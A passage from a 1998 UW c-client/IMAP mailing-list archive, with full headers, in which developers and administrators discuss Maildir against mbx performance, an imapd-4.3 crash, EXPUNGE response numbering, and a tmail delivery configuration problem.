of mailboxes). With the right mailbox format, you can handle that kind of load. > The problem is aggravated by the fact that the imap server seems to read > each and every message when the client requests (or should request) just > the headers, with horrendous performance and sometimes crashing (out of > memory). c-client does not keep more than a single message in memory at a time in any local file format. You may have unrealistic expectations of what you can accomplish on a small memory machine. Memory is cheap; disk bandwidth is not. You can see this for yourself by comparing the performance of 16-bit Windows PC Pine with 32-bit Windows PC Pine; the 32-bit version uses memory while the 16-bit version constantly reads from disk. The entire message text needs to be available when parsing MIME, and (in the case of Maildir) for calculating the Internet standard message length (it is an absolute requirement of the IMAP protocol that this value be correct). The underlying problem is that you use Maildir. Maildir does not scale well to large mailboxes. This is a reason why we do not offer support for that format (there are other reasons). Some of these problems are inherant in the "dir" type layout, others are specific to Maildir. It may be possible to tweak things somewhat to make Maildir work a bit better, but you're likely to get mixed results at best. I am totally disinterested in doing so. If performance is important to you, use mbx format instead. From pinedev@shivax2.cac.washington.edu Mon Aug 31 11:17:10 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Mon, 31 Aug 1998 11:17:09 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id LAA17195 for ; Mon, 31 Aug 1998 11:17:08 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id LAA25693; Mon, 31 Aug 1998 11:17:04 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id LAA12158; Mon, 31 Aug 1998 11:16:52 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id LAA29442 for ; Mon, 31 Aug 1998 11:15:58 -0700 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mxu1.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id LAA27416 for ; Mon, 31 Aug 1998 11:15:57 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (gibb@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id LAA24860; Mon, 31 Aug 1998 11:15:53 -0700 Message-Id: Date: Mon, 31 Aug 1998 11:09:02 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Mark Musone Cc: c-client@u.washington.edu Subject: re: IMAP APPEND as delivery agent? In-Reply-To: <199808311736.NAA18284@elmwood.afterfive.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Mon, 31 Aug 1998 13:36:54 -0400 (EDT), Mark Musone wrote: > Can anybody tell me if it's a bad idea to use the imap APPPEND > for the delivery agent?? I think that it is a bad idea. It is certainly possible to do so, but you'll need to address the IMAP authentication requirement in some way (basically, your Perl script will need to know how to authenticate to that IMAP server as that user). You'll also have a lot of additional RTTs, not to mention additiional IMAP sessions! There are ways that you can work around these problems; it's all a function of how creative you are on what constitutes "authentication" and a "mailbox name". But I suspect that you'll end up going to a lot of work, only to find that you could have gotten the same or better performance by solving the distributed SMTP problem and using SMTP instead. If you do the experiment, I'll be very interested in the results. From pinedev@shivax2.cac.washington.edu Mon Aug 31 21:24:28 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Mon, 31 Aug 1998 21:24:26 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id VAA30377 for ; Mon, 31 Aug 1998 21:24:15 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id VAA09102; Mon, 31 Aug 1998 21:24:08 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id VAA19574; Mon, 31 Aug 1998 21:23:50 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id VAA37012 for ; Mon, 31 Aug 1998 21:22:05 -0700 Received: from misery.sdf.com (misery.sdf.com [204.244.213.49]) by mxu1.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id VAA19899 for ; Mon, 31 Aug 1998 21:22:03 -0700 Received: from tom by misery.sdf.com with smtp (Exim 1.82 #3) id 0zDhOo-00033f-00; Mon, 31 Aug 1998 20:46:30 -0700 Message-Id: Date: Mon, 31 Aug 1998 20:46:29 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Tom To: Luca Olivetti Cc: c-client@u.washington.edu Subject: Re: Big messages and layout = dir (maildir, mh, mx) In-Reply-To: <35EAA073.97D1116D@wetron.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Mon, 31 Aug 1998, Luca Olivetti wrote: ... > "fetchheader" routine of each of those seems to read the whole > file/message. > I'm not a C wizard but wouldn't a rewrite of that routine improve > performance and reduce the risk of overusing memory? (probably not if > the messages are short, but if they are long messages with > attachments...). Even better, use a mail format that keeps index info (like headers) separate from the messages. mbx is probably best for uw-imapd. cyrus-imapd uses a fast opening mailbox format too. At least with Cyrus you can repair mailboxes with the reconstruct tool. I have no idea how I might repair a damaged mbx. I have one that uw-imapd crashed upon reading... Tom From pinedev@shivax2.cac.washington.edu Tue Sep 1 23:53:02 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Tue, 1 Sep 1998 23:53:01 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id XAA11640 for ; Tue, 1 Sep 1998 23:52:57 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id XAA27031; Tue, 1 Sep 1998 23:52:52 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id XAA13516; Tue, 1 Sep 1998 23:52:38 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id XAA44166 for ; Tue, 1 Sep 1998 23:50:27 -0700 Received: from tango.mad.servicom.es (tango.mad.servicom.es [194.106.0.139]) by mxu3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id XAA19576 for ; Tue, 1 Sep 1998 23:50:26 -0700 Received: from venus.wetron.local ([194.106.4.85]) by tango.mad.servicom.es (Post.Office MTA v3.1.2 release (PO203-101c) ID# 158-43936U25000L25000S0) with ESMTP id AAA11294 for ; Wed, 2 Sep 1998 08:50:23 +0200 Received: (qmail 20306 invoked from network); 2 Sep 1998 06:49:53 -0000 Received: from pc6.wetron.local (HELO wetron.com) (192.168.1.6) by venus.wetron.local with SMTP; 2 Sep 1998 06:49:53 -0000 Message-Id: <35ECEA8F.365697C8@wetron.com> Date: Wed, 02 Sep 1998 08:49:51 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Luca Olivetti To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: Big messages and layout = dir (maildir, mh, mx) References: MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Accept-Language: en X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Mark Crispin wrote: > > On Mon, 31 Aug 1998 15:09:07 +0200, Luca Olivetti wrote: > > My users tend to abuse the mail system (e.g. they don't know ftp and use > > it to send big files). > > I'm not sure what you mean by "abuse". We have administrative users here with > thousands of messages and tens of megabytes in a single mailbox (they also > tend to have lots of mailboxes). With the right mailbox format, you can > handle that kind of load. Would you consider a single message of 60 megabytes an abuse ? ;-) > The entire message text needs to be available when parsing MIME, and (in the > case of Maildir) for calculating the Internet standard message length (it is > an absolute requirement of the IMAP protocol that this value be correct). Yes, I didn't spot the call to strcrlfcpy. I just assumed that the message was already in crlf format. I was wrong. > > The underlying problem is that you use Maildir. Maildir does not scale well > to large mailboxes. This is a reason why we do not offer support for that > format (there are other reasons). Some of these problems are inherant in the > "dir" type layout, others are specific to Maildir. > > It may be possible to tweak things somewhat to make Maildir work a bit better, > but you're likely to get mixed results at best. I am totally disinterested in > doing so. > > If performance is important to you, use mbx format instead. Is there an easy way to migrate existing mailboxes to mbx format? If I change something I would like the change to be transparent to the users. When I switched to imap and decided to use maildir it was because it was easy to migrate existing eudora mailboxes to maildir. As a side note, I had to remove the dummy driver otherwise communicator (4.03) would recognize all files as mail folders!. 4.5 doesn't exhibit the same behavior, but I'm the only one using it at the moment (it's beta and not in spanish). -- Luca Olivetti Wetron Automatización S.A. http://www.wetron.com/ Tel. +34 93 5883004 Fax +34 93 5883007 From pinedev@shivax2.cac.washington.edu Tue Sep 1 23:56:08 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Tue, 1 Sep 1998 23:56:07 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id XAA20941 for ; Tue, 1 Sep 1998 23:56:03 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id XAA09199; Tue, 1 Sep 1998 23:55:58 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id XAA16134; Tue, 1 Sep 1998 23:55:47 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id XAA18274 for ; Tue, 1 Sep 1998 23:54:40 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (starback@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id XAA30797 for ; Tue, 1 Sep 1998 23:54:39 -0700 Message-Id: Date: Tue, 1 Sep 1998 23:52:40 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Luca Olivetti Cc: c-client@u.washington.edu Subject: Re: Big messages and layout = dir (maildir, mh, mx) In-Reply-To: <35ECEA8F.365697C8@wetron.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Wed, 02 Sep 1998 08:49:51 +0200, Luca Olivetti wrote: > Would you consider a single message of 60 megabytes an abuse ? ;-) Not necessarily. It depends upon the content. > Is there an easy way to migrate existing mailboxes to mbx format? Take a look at mbxcvt, which is one of the imap-utils. > As a side note, I had to remove the dummy driver otherwise communicator > (4.03) would recognize all files as mail folders! If you remove the dummy driver, then you can't list folders at all. From pinedev@shivax2.cac.washington.edu Wed Sep 2 00:37:22 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Wed, 2 Sep 1998 00:37:21 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id AAA22919 for ; Wed, 2 Sep 1998 00:37:20 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id AAA09869; Wed, 2 Sep 1998 00:37:13 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id AAA17176; Wed, 2 Sep 1998 00:37:01 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id AAA61568 for ; Wed, 2 Sep 1998 00:35:47 -0700 Received: from tango.mad.servicom.es (tango.mad.servicom.es [194.106.0.139]) by mxu4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id AAA25547 for ; Wed, 2 Sep 1998 00:35:46 -0700 Received: from venus.wetron.local ([194.106.4.106]) by tango.mad.servicom.es (Post.Office MTA v3.1.2 release (PO203-101c) ID# 158-43936U25000L25000S0) with ESMTP id AAD16426 for ; Wed, 2 Sep 1998 09:35:43 +0200 Received: (qmail 20801 invoked from network); 2 Sep 1998 07:16:38 -0000 Received: from pc6.wetron.local (HELO wetron.com) (192.168.1.6) by venus.wetron.local with SMTP; 2 Sep 1998 07:16:38 -0000 Message-Id: <35ECF0D3.61D6588E@wetron.com> Date: Wed, 02 Sep 1998 09:16:35 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Luca Olivetti To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: Big messages and layout = dir (maildir, mh, mx) References: MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Accept-Language: en X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Mark Crispin wrote: > > As a side note, I had to remove the dummy driver otherwise communicator > > (4.03) would recognize all files as mail folders! > > If you remove the dummy driver, then you can't list folders at all. It has been working since last May. It works because the folders are listed by the maildir driver itself, and those are the only folders I'm interested in (at the moment). -- Luca Olivetti Wetron Automatización S.A. http://www.wetron.com/ Tel. +34 93 5883004 Fax +34 93 5883007 From pinedev@shivax2.cac.washington.edu Mon Sep 7 04:19:38 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Mon, 7 Sep 1998 04:19:38 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id EAA25369 for ; Mon, 7 Sep 1998 04:19:37 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id EAA22223; Mon, 7 Sep 1998 04:19:33 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id EAA13561; Mon, 7 Sep 1998 04:19:10 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id EAA15094 for ; Mon, 7 Sep 1998 04:17:26 -0700 Received: from uxmail.ust.hk (root@uxmail.ust.hk [143.89.14.30]) by mxu4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id EAA00690 for ; Mon, 7 Sep 1998 04:17:25 -0700 Received: from ccsu51.ust.hk ([143.89.103.20]:33310 "HELO ccsu51" ident: "ccyflai") by uxmail.ust.hk with SMTP id <626708-1823>; Mon, 7 Sep 1998 19:16:51 +0800 Received: by ccsu51 (SMI-8.6//ident-1.0) id TAA01580; Mon, 7 Sep 1998 19:16:50 +0800 Message-Id: <19980907191649.A1556@ust.hk> Date: Mon, 7 Sep 1998 19:16:49 +0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Lai Yiu Fai To: c-client@u.washington.edu Subject: imap-4.3 toolkit crashed Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Hello all, I found the imapd-4.3 (v11.240) crashed with following error. * BYE [ALERT] IMAP4rev1 server crashing: Bad msgno 105 in mail_elt, nmsgs = 104 It happened with Netscape 4.06 sending a command "UID fetch 1:* (FLAGS)". Also, I noted that if I removed the "FOLDER INTERNAL DATA" message and tried again. It worked without any problem. Actually, I switch the server from v11.237 to 240 and found this problem. Does the "internal data" message differ between 237 ans 240 and cause the crash? Anyone get the same problem? ======================================================================= Lai Yiu Fai | Tel.: (852) 2358-6202 Centre of Computing Services | Fax.: (852) 2358-2737 & Telecommunications | E-mail: ccyflai@ust.hk | The Hong Kong University of | Clear Water Bay, Science & Technology | Kowloon, Hong Kong. ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Sep 7 04:31:57 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Mon, 7 Sep 1998 04:31:57 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id EAA29775 for ; Mon, 7 Sep 1998 04:31:55 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id EAA22342; Mon, 7 Sep 1998 04:31:50 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id EAA00446; Mon, 7 Sep 1998 04:31:30 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id EAA71152 for ; Mon, 7 Sep 1998 04:30:02 -0700 Received: from nixpbe.pdb.sni.de (mail.sni.de [192.109.2.33]) by mxu4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id EAA01057 for ; Mon, 7 Sep 1998 04:30:00 -0700 Received: (from nerv@localhost) by nixpbe.pdb.sni.de (8.8.8/8.8.8) id LAA25336 for c-client@u.washington.edu; Mon, 7 Sep 1998 11:29:55 GMT Received: from ao13 (ao13.mow.sni.de [149.202.201.33]) by itsmx1.mow.sni.de (8.8.3/8.8.3) with SMTP id PAA26756; Mon, 7 Sep 1998 15:29:42 +0400 (MSD) Message-Id: <000201bdda52$ced08f30$21c9ca95@ao13.mow.sni.de> Date: Mon, 7 Sep 1998 15:29:42 +0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Andrej Borsenkow" To: "Lai Yiu Fai" , Subject: RE: imap-4.3 toolkit crashed In-Reply-To: <19980907191649.A1556@ust.hk> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3155.0 X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN You have to update to the latest imapd-4.4.BETA. imapd-4.3 was removed = from UW ftp site. The reason it worked without "folder internal data" = is, the server recomputed all UID and UID 1 become valid again. /Andrej > -----Original Message----- > From: C-CLIENT-owner@u.washington.edu > [mailto:C-CLIENT-owner@u.washington.edu]On Behalf Of Lai Yiu Fai > Sent: Monday, September 07, 1998 3:17 PM > To: c-client@u.washington.edu > Subject: imap-4.3 toolkit crashed >=20 >=20 > Hello all, >=20 > I found the imapd-4.3 (v11.240) crashed with following error. >=20 > * BYE [ALERT] IMAP4rev1 server crashing: Bad msgno 105 in=20 > mail_elt, nmsgs =3D 104 >=20 > It happened with Netscape 4.06 sending a command "UID fetch 1:* = (FLAGS)". > Also, I noted that if I removed the "FOLDER INTERNAL DATA"=20 > message and tried > again. It worked without any problem. Actually, I switch the server = from > v11.237 to 240 and found this problem. Does the "internal data" = message > differ between 237 ans 240 and cause the crash? >=20 > Anyone get the same problem? > = =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > Lai Yiu Fai | Tel.: (852) 2358-6202 > Centre of Computing Services | Fax.: (852) 2358-2737 > & Telecommunications | E-mail: ccyflai@ust.hk > | > The Hong Kong University of | Clear Water Bay, > Science & Technology | Kowloon, Hong Kong. >=20 > ------------------------------------------------------------------ > For information about this mailing list, and its archives, see:=20 > http://www.washington.edu/imap/c-client-list.html > ------------------------------------------------------------------ >=20 >=20 From pinedev@shivax2.cac.washington.edu Tue Sep 8 01:45:53 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Tue, 8 Sep 1998 01:45:53 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id BAA07613 for ; Tue, 8 Sep 1998 01:45:51 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id BAA21334; Tue, 8 Sep 1998 01:45:45 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id BAA18710; Tue, 8 Sep 1998 01:45:16 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id BAA71154 for ; Tue, 8 Sep 1998 01:43:35 -0700 Received: from uxmail.ust.hk (root@uxmail.ust.hk [143.89.14.30]) by mxu2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id BAA25942 for ; Tue, 8 Sep 1998 01:43:34 -0700 Received: from ccsu51.ust.hk ([143.89.103.20]:35189 "HELO ccsu51" ident: "ccyflai") by uxmail.ust.hk with SMTP id <626181-5179>; Tue, 8 Sep 1998 16:42:04 +0800 Received: by ccsu51 (SMI-8.6//ident-1.0) id QAA03365; Tue, 8 Sep 1998 16:42:02 +0800 Message-Id: <19980908164202.C3202@ust.hk> Date: Tue, 8 Sep 1998 16:42:02 +0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Lai Yiu Fai To: c-client@u.washington.edu Subject: EXPUNGE response Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Hi all c-client developers, I have working the latest imap-4.4.BETA with Netscape 4.06. It seems the Messenger some time fetches an non-existed message sequence no. right after expung. I have logged the IMAP transaction and found C: 4 uid store 1736 +FLAGS (\Deleted) S: * 104 FETCH (FLAGS (\Seen \Deleted)) S: 4 OK UID STORE completed C: 5 uid store 1734 +FLAGS (\Deleted) S: * 103 FETCH (FLAGS (\Seen \Deleted)) S: 5 OK UID STORE completed C: 6 expunge S: * 103 EXPUNGE S: * 103 EXPUNGE <- should it be "* 104 EXPUNGE" ? S: * 102 EXISTS S: * 0 RECENT S: 6 OK Expunged 2 messages Then the Messenger tried to "fetch 104" and server returned "bogus sequence no". The messager then messed up. Though it is the problem of Messenger in fetching non-existed sequence no., should it also be something wrong with the untagged EXPUNGE response? ======================================================================= Lai Yiu Fai | Tel.: (852) 2358-6202 Center of Computing Services | Fax.: (852) 2358-2737 & Telecommunications | E-mail: ccyflai@ust.hk | The Hong Kong University of | Clear Water Bay, Science & Technology | Kowloon, Hong Kong. ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Sep 8 10:31:52 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Tue, 8 Sep 1998 10:31:51 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id KAA11117 for ; Tue, 8 Sep 1998 10:31:50 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id KAA16062; Tue, 8 Sep 1998 10:31:42 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id KAA09060; Tue, 8 Sep 1998 10:31:08 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id KAA57942 for ; Tue, 8 Sep 1998 10:29:40 -0700 Received: from pilsener.ucs.ualberta.ca (pilsener.ucs.ualberta.ca [129.128.5.19]) by mxu3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id KAA03199 for ; Tue, 8 Sep 1998 10:29:40 -0700 Received: from rockpile.ucs.ualberta.ca (rockpile.ucs.ualberta.ca [129.128.8.34]) by pilsener.ucs.ualberta.ca (8.9.0/8.9.0) with ESMTP id LAA19667 for ; Tue, 8 Sep 1998 11:29:39 -0600 (MDT) Received: (from amulder@localhost) by rockpile.ucs.ualberta.ca (8.8.5/8.8.5) id LAA15775 for c-client@u.washington.edu; Tue, 8 Sep 1998 11:29:38 -0600 (MDT) Message-Id: <199809081729.LAA15775@rockpile.ucs.ualberta.ca> Date: Tue, 8 Sep 1998 11:29:38 -0600 (MDT) Reply-To: art.mulder@ualberta.ca Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Art Mulder To: c-client@u.washington.edu Subject: tmail vs. mbx MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-URL: http://www.ualberta.ca/~amulder/ X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I am having some trouble trying to get tmail to deliver into home directories using the mbx format, and could use a little guidance. Last week I grabbed the latest imap 4.3 distribution, as well as the imap-utils.tar file. I built c-client and tmail on an Open BSD sparc system. Both built and installed ok Then I tweaked the sendmail.cf file as follows: ## Art Mulder - use tmail for local delivery, into home directories. Mlocal, P=/usr/local/etc/tmail, F=lsDFMAw5:/|@qPrn+, S=10/30, R=20/40, E=\r\n, T=DNS/RFC822/X-Unix, A=tmail -I \#driver.mbx/INBOX $u This Mlocal line is lifted almost verbatim from the tmail man page. About the only tweaking I needed to do was escaping the "#" in front of the driver directive -- that should probably be documented somewhere since otherwise you get some weird error messages from tmail, complaining about a missing -I directive... Now, when I send email to this test system, I get the following error logged: Sep 8 11:22:11 caveman tmail[28350]: Not a MBX-format mailbox: INBOX Sep 8 11:22:11 caveman tmail[28350]: message delivery failed to /home/art/INBOX I find this very puzzling, since tmail is the one that created INBOX in the first place! Why wouldn't it be a MBX format mailbox? I did verify (several times) that INBOX did not exist before sending the mail. Any guidance appreciated. thanks ...art ps: Yes I read the tmail man page, and also several documentation files in the c-client docs directory. ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Sep 8 12:15:47 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Tue, 8 Sep 1998 12:15:47 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id MAA17784 for ; Tue, 8 Sep 1998 12:15:46 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id MAA04889; Tue, 8 Sep 1998 12:15:41 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id MAA14033; Tue, 8 Sep 1998 12:15:14 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id MAA45940 for ; Tue, 8 Sep 1998 12:14:07 -0700 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mxu3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id MAA16275 for ; Tue, 8 Sep 1998 12:14:06 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (icz@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id MAA06839; Tue, 8 Sep 1998 12:14:03 -0700 Message-Id: Date: Tue, 8 Sep 1998 12:11:37 -0700 (PDT) Sender: 